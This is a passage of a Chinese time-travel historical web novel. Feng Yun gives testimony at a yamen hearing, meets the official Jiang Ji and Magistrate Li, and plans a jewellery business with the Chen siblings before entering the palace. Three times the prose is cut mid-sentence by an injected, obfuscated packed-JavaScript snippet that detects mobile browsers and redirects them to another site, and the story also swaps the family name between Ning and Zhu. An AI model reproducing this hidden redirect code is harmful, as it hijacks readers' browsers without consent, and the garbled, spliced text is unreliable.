与冯昀看过的影视剧画面不同,宁义广带着冯昀去往的并非官衙升堂的正经厅堂,上面坐着的官员等没有乌纱帽和圆领袍,也不见周围有衙役拿着棍棒高喊“威武”,明显便是简单地走流程,可见宁家这几日的打点十分到位。 冯昀只来得及简单扫视一眼,见上面乌压压坐着好几个人,料想是因为褚飞白这个天子使者来了,当地的重要官员必然也都跟着出面,她来不及多看,便跟在宁义广身后进了门。 近日的风浪大都因堂下的女子而起,众人纷纷将目光投向她,打量起这个微末女子。 作为被审问的对象,冯昀当然察觉到了周围人的视线,却也只能同宁义广一起,低眉顺眼地行礼。 “民女拜见诸位大人。” 夏指挥开口问道:“堂下可是冯氏?” 冯昀心中再怎么不情愿,此时此刻还是老老实实地跪了下来,应声道:“民女正是冯氏。” 冯昀未曾递状鸣冤,夏指挥也不过是给宁家一个证明,也就少了许多流程。 故而夏指挥开门见山:“近日流传宁家谋杀你的性命,这小道消息究竟是真是假?” 冯昀努力让自己的声音保持平稳,开口道:“宁家并非谋杀民女,民女与家人一同投奔亲戚,只是因为遇上歹人,一路逃亡,与家人失散,这才昏死在了宁家四爷坟前,民女饥寒交迫,许久之后才醒过来,不曾想被人误以为是从坟茔中爬了出来。” 尽管如此,冯昀的声音还是难免哽咽一二,倒不是她有什么精湛的演技,而是她努力克制自己在此时此刻说出什么不必要的话。 她可是连现代的法庭都没有上过,更不用说古代的衙门了。 夏指挥见身边的吏员已经将事情原委记录完毕,便起身转向上首的几位大人,开口道:“褚大珰、刘镇守,郑知府、李知县,这件事已经明了,不过是好事之人的胡编乱造罢了,几位觉得……” 坐在上首的褚飞白微微颔首,显然是对这个结论十分满意,又问刘镇守道:“依刘镇守之见,此事这样处理如何?” 镇守太监刘宁也收过宁家的礼,当然不会刻意挑刺,只是道:“真相大白再好不过。” 见到此情此景,跟随夏指挥一同审案的吴副千户的面色更差,显然已经意识到如今的情况不妙。 郑知府遂开口道:“既然事情详尽,可见宁家无罪,一切不过是误会罢了,之后发文通报,再将好事之人惩戒一番即可。” 吴副千户已是满头大汗,急中生智道:“李知县觉得如何呢?” “这案件本应该交由我这个知县来处理,如今却落到了提刑按察司的夏指挥手中,我还能有什么看法?我肯定不比夏指挥公正,让被害的人上堂自证清白。有这审问的闲暇,倒不如让我这闲人去将原城的堤坝好好修修,免得暴雨洪水妨害百姓。” 冯昀在下面听得冷汗涔涔,知道夏指挥这算是跨过知县办事,显然和这位李知县的职能范围起了冲突,一时间生怕这火烧到自己身上。 他们怎么斗法都无所谓,但她冯昀的命也是命啊…… 夏指挥闻言讪讪一笑,连忙道:“知县这是哪里的话?只是这事实在是闹大,提刑按察司岂能坐视不管。” 褚飞白意味深长地开口询问道:“莫非李知县觉得此事还有疑点?” “自然是有的。” 冯昀不由喉咙一紧,感觉像是被人掐住了脖子。 “既然要解决此事,不论这位冯姑娘是被迫活殉还是被人谣传受害,都应该交由官府保护,而非住在与此事关系紧密的宁家,冯姑娘直到今日才从宁家出来,这期间宁家到底有无威逼利诱,谁人能知?” 知府尚且对褚飞白毕恭毕敬,这位李知县不过微末小官,竟然也敢当众驳了对方的面子。 冯昀虽然没有看到褚飞白的表情,但也能听出他在暗示年轻气盛的李知县不要继续说下去。 褚飞白道:“此事虽有不妥,但冯氏‘死而复生’后,这几日都是宁家照料她,倘若其中真有深仇大恨,冯氏为何不趁此机会将自己的冤情公之于众?” 李知县愈发义愤填膺:“冯姑娘孤身一人,既无父母长辈做主伸冤,又不能寻求地方官员庇佑,即便真的在宁家受了委屈,又怎么敢当众说明自己的委屈?褚大珰近此言是不是太过理所当然?依我之见,这件事应该彻查才对!料想这件事并非只有宁家有猫腻,原城当地其他富户也必然行过这等不法之事!” 宁义广眼看着事情不妙,碍于李知县就在上首,不能明着说什么,又不好给冯昀使眼色,一时间额头冒汗,支支吾吾。 冯昀一时间不知道该不该开口,心中不免生出几分愧疚。 其实冯昀很清楚,这身体原本的主人就是被宁家害死的,她应该想办法为她伸张正义。 但她怕死,更怕死了之后无法回家,反而彻底消失在这个世界上。 褚飞白在一旁笑着说道:“冯氏读过书、识过字,还会一手丹青,我也见过,可见她是有些头脑的。如今公堂审问,有刘镇守和我在,她是糊涂了才会在此情形下仍旧隐而不发。” 褚飞白这几句话不仅将冯昀的行为合理化,更将冯昀受宁家胁迫的可能轻松掩盖。 同时,他主动开口也是在提醒李知县,褚飞白作为擢选宫人的主要负责人,如此了解冯昀大抵是要选她入宫。 若是李知县还不算太笨,那么他不应该继续追问下去。 但李知县显然没有意识到这一点,还想要说些什么,多亏他身侧的好友拉住他,低声叮嘱道:“子智,别再说了。” 若是继续问下去,冯昀便要进一步成为城门失火的受害者。 褚飞白的语气仍旧温和:“李知县,你从京城来原城任职还不到一年,于民生了解太少, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037101|194546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太心急可不是好事。” 刘宁也开口道:“李知县,既然冯氏已经否认此事,你也不必耿耿于怀。主持修缮原城河道才是你这个知县的当务之急,怎么能纠结于这等小事?” 李知县身边的江翰林起身向褚飞白和刘宁行礼,道:“去年陆阁老上疏,提议各地无需再将逃户驱赶回原籍,而是于当地安置落户,划拨闲田耕种,减免赋税,陛下已经准许各地施行。既然如此,如今最重要的是将冯姑娘与其他逃户流民一同妥当安置,更要让受害的冯姑娘得到补偿。” “江翰林果真是陛下擢选的人才,朝廷未来的中流砥柱,李知县可还有异议?” 冯昀前面听到原城水利的事情,几乎可以笃定这位李知县和江翰林的身份,只是又难免生出了几分惊讶。 在她的印象里,江霁是一个对自己的政策贯彻到底的倔人,以至于落得个病死途中的凄凉下场,倘若这个江翰林真是江霁,竟然在此时打断,而非坚持彻查,倒是有些突破冯昀的认知了。 冯昀忍不住微微抬眼,暗中打量江翰林的模样,只看到他穿着一身青衣,侧脸隐约瞧着未曾蓄须。 褚飞白见李知县否认,又看向宁义广,问道:“你可有异议?” 宁义广身无官职,自然没有李知县那正面应对褚飞白的勇气,只是应了下来,赔笑道:“这冯姑娘与草民家中也有些缘分,内人十分喜爱冯姑娘,这些时候都将冯姑娘当作亲妹子一样陪在身边,又岂敢劳烦官家出钱?草民愿意出钱出人出力,供冯姑娘安家原城,也是为官家解忧。” 褚飞白满意地点点头,道:“如此甚好。” 待到上首的众人各自离去,冯昀抬起发麻的双腿,勉强站了起来,仍旧是晕晕乎乎的。 看来这兵行险招算是勉强成功了…… 宁义广面无表情地瞥了冯昀一样,如同在看一件已经无用的器物,道:“算你走运,回去趁早收拾东西滚蛋。” 冯昀扯了扯嘴角,道:“那还得宁老爷你给我收拾好了东西,我才能滚蛋啊,要是两手空空地出了宁家的门,说不定又有人要‘以讹传讹’了,到那时候,宁老爷还能找谁去‘澄清’呢。” “你——” 冯昀看他忿忿不平地离开,不由嗤笑一声,这才在旁边镇场的皂班的催促下离开。 她跨过门槛,看着远处苍蓝的天空,原本压抑的心情轻松了不少。 只是瞧着地上积水倒映出来的面容,冯昀不由轻声道:“对不起……” 她正有些出神,不远处传来一个有些耳熟的声音:“冯姑娘。” 冯昀四处打量一番,这才看到一人在角落的藤蔓架下候着,正是刚才的李知县。 他年龄约莫着三十有余,身量不算很高,也就一米七出头,但生得很结实,铜色皮肤,乍一看不大像是个读书做官的人,倒像是个工人,有几分憨厚的气质。 12. 金风荐爽(5) 冯昀一瘸一拐地上前,正犹豫是不是该行个礼,李知县已经开口道:“冯姑娘不必多礼,我是来道歉的。刚才堂上我一时情急,差点给冯姑娘惹上麻烦,是我欠缺考虑,还请冯姑娘见谅。” 说罢,他躬身作揖,很是郑重。 冯昀怔愣一瞬,没想到对方并未不知变通到顽固的地步,便顺竿爬:“知县大人既然心怀愧疚,可不可以帮我一件小事?大人放心,我的请求与官场上的事情无关。” 她原本未曾抱什么期望,没想到李知县毫无推拒之意,认真地开口道:“冯姑娘请讲。” 冯昀更多了几分紧张,连忙脱口,生怕自己慢了一刻就会被拒绝:“我想请知县大人帮我照拂我的亲人,我怕他们两个留在原城会被刁难,其一是刚脱贱籍,难免有人议论,其二是我这个哥哥跟着宁家行过商,未曾耕种过,只能重操旧业继续行商,我怕连路引都办不下来。知县大人毕竟是朝廷命官,能够稍微照顾一二,周围的人就不会难为他们。” 李知县面露诧异,“冯姑娘还有亲人……?”他说完意识到自己这话很是不妥,只能硬生生打住。 冯昀并不介意,点了点头,“是救我出宁家的恩人,之后我会与他们一同在原城立户安家。知县大人若是能答应我的请求,以后我即便不在原城也能放心一些。” “冯姑娘不在……?”李知县见她不说话,忽然明白过来,惊异道:“冯姑娘要入宫?” 他这才想到刚才褚飞白话里话外也有和稀泥的意思,这位冯姑娘大概是通过褚太监的门路入宫的。 “是。”冯昀勉强露出一个笑容。“我留在原城不安心,只有入宫才能摆脱宁家,而且宫女的家人有优待,我要是能得到重用,也能够保全我的恩人们。” 李知县明白她的不易,微微颔首,“冯姑娘放心,我怎么说也是一地知县,保护百姓不受权贵侵害本就是我应尽之责。至于路引的事情,我也会多多上心,该如何办就如何办,以免有人从中作梗。” 冯昀微微俯身表示谢意,方才小心翼翼地问道:“敢问知县的大名……是不是叫做嗣哲?” 李知县倒是并不意外她会知道自己的姓名,只是道:“正是。” 历史上江霁确实曾有一位精通水利、名为李嗣哲的同窗好友,结合先前有人说这江翰林是来“访友”的,答案呼之欲出。 此江翰林当真是彼江翰林! 冯昀差点想要仰天长啸一声“缘分啊”,好不容易才按捺住那股冲动。 她也只能在心底安慰自己,历史上李嗣哲确实是个不错的官,著书众多,虽有散佚,但留下的大都是与民生相关的总结,去世后还曾被当地百姓立碑纪念,和江霁流放被贬、尸骨难存的结局相比,称得上善终。 想到这里,冯昀忍不住道:“刚才大人那位好友……江翰林也帮我说了不少好话,进宫前我总该道个谢……” 她说到这里忽然哽住,至少在这一秒,她的大脑里闪过了整个宇宙。 见江霁,我想怎么做?我该怎么做? 如果她还是十八,她或许还想站在江霁的面前说几句话,但冯昀已经二十八,现在的她只想回去躺在床上睡一觉,睡醒后发现自己还在现代的家。 这样说不定她愿意登录自己卸载多年的博客,发文纪念一下自己单方面和江霁的青春过往,也不失为一件趣事。 李嗣哲见她顿在原地,低垂着头不说话,似乎心事重重,不免有些困惑,他正要开口说什么,却见好友的身影已经出现,立刻抬手打招呼:“至朗!” 冯昀听到这个熟悉又遥远的称呼,不由怔在原地,一时间思绪纷杂。 除了她年少时写过的无数篇深夜小作文,还有印象里江霁已经年老的那张画像。 冯昀甚至有一瞬产生了勉强可以称之为“近乡情怯”的感情。 比起昭朝,她更了解的其实是江霁。 “冯姑娘?” 江霁走到冯昀前面,李嗣哲介绍道:“冯姑娘,这位是江翰林姓江名霁,是我的同窗好友,归乡路上来探望我,正巧遇上了你的事。方才多亏有他在,不然我就要给冯姑娘添麻烦了。” 冯昀有些不自在地低头道谢:“多谢江翰林为我说话……” 江霁温声道:“我到底没有真的帮上你,不过是尽量讨些东西,好弥补姑娘一二。冯姑娘这声谢,我受之有愧。” 冯昀原本还有些不自在,听到江霁这几句话倒是渐渐放下了那份局促。 无他,冯昀在史书上看到过他的倨傲,也看到过他的冷酷,还有文人笔记、野史八卦里的或夸赞或贬低,在此基础上想象出千万种的江霁形象都是拒人千里的,却唯独不是眼前这个江霁。 江霁的目光目光在冯昀极力平静的脸上停留一瞬,声音压低了些,“方才冯姑娘在堂上陈情时,虽有些许慌乱,但证词条理清晰,不卑不亢,可见冯姑娘是有备而来,一步一步为自己求一条活路,姑娘的‘求生’之志,坚忍清醒,远非常人可及。” 冯昀心头猛地一跳,没想到江霁竟然还留心到了她,看出她所有的表演、权衡和小心翼翼背后的求生欲。难怪后世史家评价“江至朗之能,首在识人”。 “大人……”冯昀的声音有些干涩,“洞若观火,民女只是不想死。” 江霁轻轻颔首,目光里没有怜悯,而是一种平等的认可:“畏死求活是人之本能,更何况冯姑娘能为自己谋一条生路,胆识已超越常人,又何必自轻。况且常言‘君子报仇,十年不晚’,留待他日,未必不能再讨公道,冯姑娘不必钻牛角尖。” 江霁说者无心,冯昀却听者有意。 她还是对这具身体曾经的主人有些愧疚,觉得自己借用她的身体擅作主张不好,江霁这话给了她另一种解题思路,当下报仇是以卵击石,不如用其他方式替她报仇。 江霁见她眉头渐渐舒展,便知道冯昀已经听了进去,方才道:“刚才隐约听到冯姑娘要进宫,宫中不比外面安稳,姑娘要小心才是。” 冯昀没想到他连这个都听到了,应下道:“我知道了,谢谢你。” 一开始的尴尬被打破,冯昀在对话之中已经没了那份与历史人物对话的紧张感,心中对江霁的模样更多了几分好奇。 江霁的才学不必说,尚未加冠已经考中秀才,连他的妹妹江蔼也是这一时期小有名气的文人,在训诂考据一学上颇有建树。考中举人后,江霁与恩师之女结为连理,可谓是古代人生赢家的模板。故而历代从未有人怀疑江霁的才貌双全,对于江霁的容貌也时有夸赞。 可偏偏留存下来的江霁画像都是已经年近半百时所画,怎么看都只是个乍一看平平无奇的老头,叫冯昀怎么不好奇年轻时的江霁究竟长什么样。 想到此处,冯昀忍不住抬眼看向对方,第一次真正注视着对方。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17042577|194546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 史料中千篇一律的“眉目疏朗、丰神秀彻”,此刻被染上了真实的温度与色彩。他并未着官服,只一袭素青直裰,却如金菊傲枝、孤竹立雪,衬得周遭的衙署晦暗都清亮了几分。尤其是一双眸子,沉静之下似有幽邃的星火——那是冯昀在他所有晚年画像里都未曾找到的、属于年轻改革家的锐气与光亮。 冯昀忽然有些不厚道地想,难怪江霁会有嬷嬷。 江霁见她深深地望着自己,不免多了几分疑惑:“冯姑娘?” 冯昀回过神,不由踉跄一下,见两人都看自己,讪笑道:“腿麻了……” 李嗣哲连忙道:“耽误了冯姑娘这么久,也不知道宁家的人还在不在,要不然我让人送冯姑娘回去……” 冯昀摇摇头,她心结已解,唇角不由多了几分笑意,道:“知县放心,宁家的人不在,我家的人在,她一定还等着我。”她最后瞧了一眼江霁,道:“再见。” 见她健步如飞,李嗣哲好笑道:“冯姑娘真厉害,腿麻还能走这么快。” 江霁瞧了一眼冯昀离开的方向,那里已经只余一丛斑竹轻轻摇晃,“她的家人还在外面等着,她如何不着急。” “这位冯姑娘真是不易,受了这么多委屈,心里还惦记着想要事事周全……可惜不能为她讨个公道……” 江霁叹息道:“冯姑娘对此何尝不是耿耿于怀?只是此情此景下,想要‘公道’何等不易……” 李嗣哲知道他说这话不仅是在说冯昀,更是在说时事,哎了一声,伸手捶他肩膀,“既然离了京城那一摊浑水,就别说这些丧气话。” 江霁叹道:“也是陆阁老劝我借此机会四处游历,不要拘泥于权斗,应当多看多思……” 李嗣哲摆摆手,“回梧州祭拜老师之后,你还得回京。有我这个被贬出京的前车之鉴,你可一定要护好自己,有什么事都得记得四个字——留待以后。” 听他说得头头是道,江霁眉梢眼角流露出几分无奈,“既然如此,先前你又何必向上疏陛下怠政?若非陆阁老出面,可不是贬谪这么简单……” 李嗣哲挠挠头,“说是一回事,做又是另一回事,况且让我在工部闲坐冷板凳,还不如让我到地方做知县,好歹能做些有用的事情。” 另一边厢,冯昀踉跄着出了衙门,宁义广早已经没了人影,大抵是事情已经过去,他连面子功夫都不愿意敷衍。 冯昀此时却因为与江霁的对话没了先前的憋屈怒气,只觉得身心轻松许多。 陈英华在外面踮着脚张望许久,好不容易瞧见冯昀的人影,她立刻惊喜地挥挥手:“姐姐!” 冯昀长舒一口气,终于忍不住露出一个笑容,扬声道:“我没事了!我们都没事了!” 冯昀敢肯定,她上一次这么如释重负还是在高考结束。 “太好了……” 陈英华的话还没说完,就被冯昀抱了个满怀,冯昀犹嫌不够,甚至还抱着陈英华转了个圈,引得路人纷纷侧目。 陈英华吓了一跳,连忙拍着冯昀的肩膀,道:“姐姐,你身子还没有养好呢……” 冯昀放下陈英华,自信地拍了拍大臂上并不强健的肌肉,道:“放心,事情解决了,我现在有使不完的牛劲儿!” 陈英华闻言忍不住扑哧笑了起来,道:“那就好。” 冯昀牵着她的手,兴奋道:“不说这个了,咱们快些回去!” 13. 金风荐爽(6) 冯昀虽然有一肚子话要说,但眼前还有不少事情等着她去做。 两人一回去,宁义广就赶着她们与陈子荣离开,好在李玉瓶开口说话,多给他们一天收拾东西。 虽说大抵是为了朱家的颜面,但李玉瓶不仅将冯昀用过的衣裳和笔墨纸砚送给她,还额外给了冯昀二十两银子,说是赏她那幅画的。 既然李玉瓶这么说,冯昀自然也不会推辞,只当作是自己来这个时代的第一笔收入。况且看李玉瓶的意思,并没有再不来往的意思,以后有点小事未尝不能找她帮忙。 次日在房契上画押后,三人便搬到了朱家施舍的房子去。 朱义广本就对冯昀恨得咬牙切齿,自然不会给她什么好地方,“新家”位于相对贫瘠的南城,普通百姓大都聚居于此,隔着院墙也能听到货郎的叫卖、孩童的嬉闹,空气中偶尔能够嗅到沤肥的味道。 这小小的院落虽然不至于是毛坯房,但也可以说是“百废待兴”,三人一同收拾了一整日,又拿陈家兄妹攒下的月钱和冯昀的银子置办了点东西,才算是有了个家的样子。 相较朱家,这里的环境实在是不怎么样,但对于冯昀这个死里逃生的人而言,她反倒觉得这里要比朱家多了几分生机。 “咯咯咯——” 陈英华在冯昀的督促下在屋内画画,屋外时不时传来陈子荣撒米烧水的声音和几声鸡叫,冯昀忍不住走到门前,倚着门框,看着院子里已经开始踱步游行、巡视地盘的鸡,嘴角不自觉已经多了一分笑意。 冯昀原本还有些担心陈家兄妹两个在朱家久了,不能适应这里的生活,没想到收拾好屋子之后,陈子荣在院子里搭了个鸡窝,又上街买了几只鸡回来,倒让冯昀松了一口气,知道是自己小瞧人家了。 陈子荣察觉到冯昀的目光,回头看她:“怎么了?” 冯昀站直了身体,“我有事情想和你们两个说,进屋里说话吧。” 陈子荣见她这般郑重其事,心中不由打起了鼓,暗自揣摩冯昀究竟有什么要紧的事情要说。 冯姑娘才华过人,帮了他们不少,很快又要入宫,这一去很难再回来,此时她这样郑重,要和他们说的必然是十分重要的事情。 两人一同进了屋内,原本在描摹画稿的陈英华见两人进来,表情都是一本正经,便放下手中的画笔,问道:“怎么了?” 待到陈子荣走到妹妹身边,冯昀方才认真地开口道:“我还没有谢谢你们。”她先是要鞠躬,又觉得不对,硬生生刹住,改成了电视剧式别扭万福。 陈子荣见她这样郑重其事,也跟着道:“如果没有你,我们兄妹俩脱籍还是猴年马月的事情,我们也该谢谢你才对。” 陈英华也立刻起身,有些慌乱地开口道:“对啊,而且姐姐你给了我们那么多画稿,还拿出太太给的银子一起置办家里的东西……” 冯昀为了防止自己忘事,一口气画了百余张图,大到簪钗环佩,小到戒指金锁,有的工艺繁复,有的设计简洁,种类丰富。 “你们帮我离开朱家,我帮你们脱籍,算是履行了我们三个的约定,所以以后不要谢来谢去了。”冯昀见他渐渐放松下来,接着问道:“你们接下来该怎么办?我求李知县多多照顾你们,但谁知道朱家会不会背地里耍花招,只靠李知县不够稳妥。” 陈子荣当然考虑过这个问题,便道:“我之前跟着老爷……”他说到这里一顿,改口道:“跟着朱义广跑过几趟商,路上也认识些人,这房子留着,我找个工匠,先把你画的这些便宜的小玩意儿做出来,在南城卖些钱。” 陈英华也立刻道:“我认识好几个卖婆,可以托她们带上我,一起去那些高门大户家中卖东西。” 陈子荣见妹妹这样积极,脸上多了几分欣慰,接着说:“等到本金多些,再办个路引,去外面做生意。”只是说到这里,他又有些不确定,道:“看朱义广那样,也不知道路引能不能办下来……” 冯昀宽慰道:“我和知县说过这件事,他一定会多多上心的。若是李知县靠不住,找李太太也算是一条路。” 陈子荣闻言有些不解:“找她?她会帮我们?” 冯昀将之前陈英华听到的太太们的谈话一一告知,接着说道:“我听英华说,李太太娘家也做首饰生意,你拿着我的图,想法子多换点本钱也好,她大概是想着我入宫之后说不定能够出人头地,所以才没有像朱义广那样赶我们。” 现在作为“褚大珰的人”的冯昀和陈家兄妹两个绑在一起,不论是宁义广还是李玉瓶,都不好公然强取豪夺,且李玉瓶多给那二十两银子,也有继续交往的意思,找她帮忙未必不行。 陈子荣很快明白过来,冯昀的才华也好、褚大珰的赏识也罢,冯昀绝对不会停滞在普通宫人的身份上。而对于宁家来说,帮他们一把不过是随手小事,让未来可期的冯昀承情才算得上是一笔交易。 换句话说,他们是在“借势”,借的正是冯昀的势。 冯昀的语气慷慨激昂:“不是有位太太说西面有外国人走私吗?到时候你们用我的图纸做出首饰卖给外国人,再买些外国首饰回来倒卖,一定有机会赚大钱,到时候就能靠这些钱招揽人手、扩大产业——” 陈子荣见她说着说着双眼放光,仿佛已经看到他们赚得盆满钵满的场面,原本陈子荣还想要询问她怎么肯定朝廷会开放互市,此时也把话头咽了下去。 冯昀这样为他们着想,出钱出力,不是血亲也已经胜似血亲。 冯昀将自己以前从穿越小说里总结出来的“致富秘籍”一口气倒了个干净,见陈家兄妹两个都看向她,这才意识到自己刚才太过激动,全是对还未发生的事情的笃定,都忘了打补丁这回事,连忙补充: “按照她们的说法,这样私下往来是走私,国家没办法收税,但这些外国的东西很稀罕,有不少人喜欢,这些都是赚钱的地方,国家迟早会允许两边商人互市,从中收钱,增加国库收入。咱们要做的事情就是尽量赶在国家之前抢占先机,站稳脚跟!” 陈英华听得入神,小鸡啄米似的点头:“赚钱的事情,官家肯定不会坐视不管的。” 陈子荣沉吟片刻,道:“我跟着跑商的时候也听说过,边关管束时紧时松,里面有不少门道。如果真的和你说的一样,叫我们抓住这个机遇……”他的话没有说完,最后几个字音却有些干涩,可见他多了几分紧张和激动。 冯昀比他们还心潮澎湃:“相信我!一定会的!” 她清清楚楚记得,祐宁四十年不久,赵王叛乱,平叛的粮饷出自国家,但平叛后的赵王家财却全部被皇帝的收入内帑,考虑到国库问题,有人提议开放互市,虽说其中少不了君臣拉扯,但因为涉及到充盈国库,确实是很快就办成了。 陈子荣见她这样笃定,道:“我明白了,这几日我就去找工匠,先做些简单的钗环首饰,在南城这边街头卖,先多攒点本钱。” 听到他的话,冯昀将自己拿出手帕包着的几块银子,推到兄妹两个面前,道:“这些钱拿去,大概十两左右,就当是我给你们的支持。” 先前冯昀已经拿出五两银子,给这小小的家添置东西,如今又这么大的手笔,兄妹两个怎么好收下。 冯昀看出他们两个想要婉拒,接着说道:“我给这些银子不是送你们,也不是借你们,是要和你们合伙,我出图纸和银子,你们出力气经营操持,以后你们赚到的钱可要按照我投的比例分给我一部分的,做生意有多不容易,你们应该比我更清楚。” 兄妹两个其实他们很清楚,冯昀进宫以后几乎很难再出宫,他们若是不愿意联系,这些银子无疑是打了水漂。 冯昀是投入了全部的信任,给出了这些银两。 “姐姐……” 陈英华欲言又止,倒是陈子荣主动开口道:“我知道了,一家人也要明算账。图纸和路子都是你告诉我们的,以后赚到的钱,一半归你,另一半是我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054857|194546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们两个的。” 冯昀听他这么说,心中更多几分欣慰,接着道:“我希望你们两个能好好过日子,过得比宁家还要好。对于宁义广这种人来说,最难受的就是曾经在他脚下的人踩在他的头顶。” 陈子荣立刻明白了冯昀的言外之意,换成是任何一个人都不会放过曾经伤害自己的罪魁祸首,冯昀是将报仇的希望也交付于他们两个。 “你……这么相信我们能做到?” “你忘了我在祠堂里的时候和你说过什么吗?不去做怎么知道自己做不到?”冯昀看向陈英华,露出一个笑容:“而且英华很有天分,又有基础,只要多学多想多画,画功只会越来越好。” 听到她的夸赞,陈英华脸上不觉流露出骄傲的神情。 “英华都有这样的自信,难道你这个兄长没有?” 陈子荣虽然听出她用了激将法,但还是难免多了几分激动,道:“当然有!” 冯昀听到他的回答,笑容更盛:“就是这个劲头!到时候你可不能吝啬,要给英华请几个好师傅。”她见陈子荣点头,接着说道:“你们放心,我入宫后也会努力,尽快考上女官,这样原城这边也能看重你们一些。” 虽说女官的权力已经大都被宦官夺取,但女官家人的待遇还在,至少在冯昀看过的地方史料中,对于女官和家人都有一定的记载,当地官府还是以本府本县出过女官为荣的。 陈子荣见她这般自信,忍不住开始为她担忧起来:“那个褚大珰真的不会害你吗?我常听人说,这些内官都是坏人,宫外欺负百姓,宫内还压女官一头,你一看就是没有伺候过人的……” 冯昀了解一定的历史,怎么会不知道这一点,也明白自己现在靠着褚飞白不是长久之计,必须依靠自己的能力向上爬,避免变成随时可以抛弃的工具。 不过这些事情没必要让陈家兄妹两个知道,徒添烦恼,所以冯昀只是开玩笑:“放心吧,褚大珰觉得我有用,不会欺负我的。再说我还没见识过皇宫是什么样子,就当作是去见世面了。” 冯昀说这些也并非全是为了宽慰他们,她确实也有这样的想法。 老话说得好,来都来了,走到今天这一步,冯昀好不容易活下来,不仅要坚持活着,更不能浑浑噩噩地活着。 昭朝怎么说也是真实的历史朝代,往好了说,冯昀进宫怎么不算是亲身收集一手史料呢? 事已至此,冯昀当然尽量选择乐观的方式看待已经发生的一切。 陈英华见她这样,既感动又心疼,道:“姐姐……” 冯昀仍旧是大大咧咧的模样,“既然咱们三个的户籍在一起,以后就是一家人了。” 陈子荣与陈英华对视一眼,“你说得是,我们……也一样,和你一样的想法。” 见兄妹两个这副老实认真的模样,冯昀眨巴眨巴眼睛,冷不丁笑了起来。 陈子荣没想到她会是这个反应,那点温情卡在喉咙里不上不下,他脸上一臊,更多了窘迫,一时间涨得通红,“你我”了半天也没有说出一句话来。 冯昀忽然起身,双手作揖,粗声粗气地开口道:“俺也一样!” 陈子荣虽有些不大明白,但见她说完这话时便已经绷不住,弯腰直笑,也不自觉地跟着露出一个笑容。 陈英华一向率真,直接问道:“姐姐笑什么?” 冯昀好不容易直起腰,擦了擦眼角的泪花,轻声道:“没什么,就是想起了一个没人听过的笑话。” 她不是不知道自己这样莫名其妙,只是在想到那些和她已经越来越远的现代生活,冯昀只能用笑来掩盖心头的酸楚。 兄妹两个大抵明白冯昀好不容易活下来的不易,转而聊起了闲话,诸如以后家里吃喝都要自己操办,得快些摸清楚市价等。 阳光撒入屋内,是秋日里难得的温暖安宁。 忽然,外面传来一个声音: “人呢?冯姑娘在吗?有人找!” 14. 金风荐爽(7) 冯昀听着是在说自己,起身向外面走去,只见邻家的张婶子站在院内喊人,身旁还跟着三个女官,看衣着打扮,应该是中低级的女史结伴而来,看着都是二十余岁,着豆绿圆领袍,只有缀着的补子不同,为首的那个绣着白鹇,其余两个则绣着燕子。 除此之外,院门外还有几个人影,看着是附近住着的人,都好奇地往内看,显然是被这阵仗吸引。 三口人搬来有一段时间了,但周围的邻居都知道他们是宁家赶出来的,碍于宁家的威望,这些邻里自然都十分保守,不敢轻易与他们来往。 如果不是今日有身着宫装的女官找上门来,只怕张婶子也不会主动过来叫人。 冯昀认出她是那天跟在裴司簿身边的女官,连忙上前将几人和张婶子一起迎进屋内,问道:“有劳几位姐姐亲自前来,可是司簿有什么吩咐?” 张婶子听到这话,不由心头一跳,难怪宁家只是把他们发配到这偏僻的地方,原来是这冯姑娘被宫中选去了,要换作其他人,即便真的自赎自身,只怕迟早被宁家暗中整垮了。 柳园是当地富豪为天使采选宫人安排的园子,用来安置入选的女子,冯昀这话明显就是在告诉其他人,她也是即将进宫的宫人之一。 女官见冯昀这般聪颖,借机展示身份不说,还拿皇家为她背书,忍不住抿唇一笑,语气还是公事公办的平和:“我姓陆,陆善德,是司簿司掌簿。” 冯昀立刻道:“冯昀见过掌簿,有劳掌簿亲自跑这一趟。” “司簿让我告诉你,明日辰初有人接你去柳园报道,也不用带什么东西,只备几件贴身衣物就好,外衣和其余物件,园内都有。若是怕想家,可以带一抔土。” 冯昀俯了俯身,“多谢掌簿告知。” 陆善德拍拍她的手臂,话语中多了几分宽慰:“那日司簿公务缠身,来不及多说什么,好在你有才华傍身,总算是可以平安进宫,等进了柳园受训几日,咱们就该启程返京了。” 冯昀应了一声,陈英华机灵地端茶过来,又捡了几样街头买的点心奉上,陆善德只略略沾唇,便要起身离开。 陈子荣则是十分上道,还要给陆善德塞些茶钱,对方连忙退后几步,冲着三人摆摆手,道别后便利落带人离开。 见人影消失不见,张婶子才啧啧感慨,看向冯昀的眼神也已大不相同,道:“冯姑娘,你真是稀罕人,竟然还能让女官亲自过来,别的宫人都是爹妈送到官衙,被人一车一车拉到柳园哩。” 